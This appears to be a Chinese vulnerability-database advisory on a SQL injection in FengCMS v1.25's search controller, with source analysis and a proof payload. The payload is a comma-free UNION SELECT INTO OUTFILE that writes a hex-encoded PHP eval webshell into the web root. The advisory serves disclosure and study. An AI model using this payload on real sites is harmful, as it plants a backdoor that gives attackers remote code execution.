Fengcms v1.25 SQL注入漏洞2

基本字段

漏洞编号:
SSV-95454
披露/发现时间:
2014-08-13
提交时间:
2014-08-13
漏洞等级:
漏洞类别:
其他类型
影响组件:
FengCMS
漏洞作者:
zxx
提交者:
Knownsec
CVE-ID:
补充
CNNVD-ID:
补充
CNVD-ID:
补充
ZoomEye Dork:
补充

来源

漏洞详情

贡献者 Knownsec 共获得  0KB

简要描述:

过滤问题导致sql注入

详细说明:

app/controller/searchControl.php

public function index(){
    if($_POST['project']){
        if(!$this->project_exist($_POST['project'])){//POST的project直接被放入函数
            echo '<script type="text/javascript">alert("参数错误!");history.go(-1)</script>';
        }
    }
。。。

跟进project_exist函数

public function project_exist($string){
    if(D("module")->where('project="'.$string.'" and status=1')->getcount()>0){ //直接把参数带入执行了。
        return $string;
    }else{
        return false;
    }
}

system/common/filter.php 但是system/app.php中有个全局的过滤:

/*------------------ 过滤 ------------------*/
//php 批量过滤post,get敏感数据 
if (get_magic_quotes_gpc()) { 
    $_GET    = stripslashes_array($_GET); 
    $_POST    = stripslashes_array(removexss_array($_POST)); 
}

没有开启魔术引号时候可以直接注入,但是因为fengcms的报错机制,不现实报错出的内容,这里又没回显,只能盲注了。 如果开启魔术引号,测试发现,我们的逗号会被过滤掉,这下不够顺畅了,跟下removexss_array函数:

function removexss_array($array){
    if(!is_array($array)) return false;
    foreach($array as $k => $v){
        $arr[$k]= RemoveXSS($v);//跟进RemoveXSS
    }
    return $arr;
}
    function RemoveXSS($val) {    
       $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);//其实都是他的错,细心的观众会发现,这里是过滤各种看不见的字符的,我们的逗号去哪了?!仔细看一眼,逗我呢,哪里有用逗号连接我们的正则字符范围呢,逗号在这里是被误伤的。
     后面代码省略。。

好了,没有逗号了,但是这里其他的符号并没有过滤,不需要逗号的sql注入代码一样可以利用,比如高权限直接写webshell到web目录。

漏洞证明:

没有魔术引号时,直接注入:

QQ截图20140812210305.png

开启魔术引号,来个写文件吧: http://localhost/?controller=search POST数据:project=1" union select 0x3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e into outfile 'D:/dedeampz/DedeAMPZ/WebRoot/Default/test.php' %23

QQ截图20140812211114.png

连接一下:

QQ截图20140812211207.png

我感觉应该有不使用逗号的其他利用方法。

共 0  兑换了

PoC

暂无 PoC

参考链接

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

人气 1126
评论前需绑定手机 现在绑定

暂无评论

※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负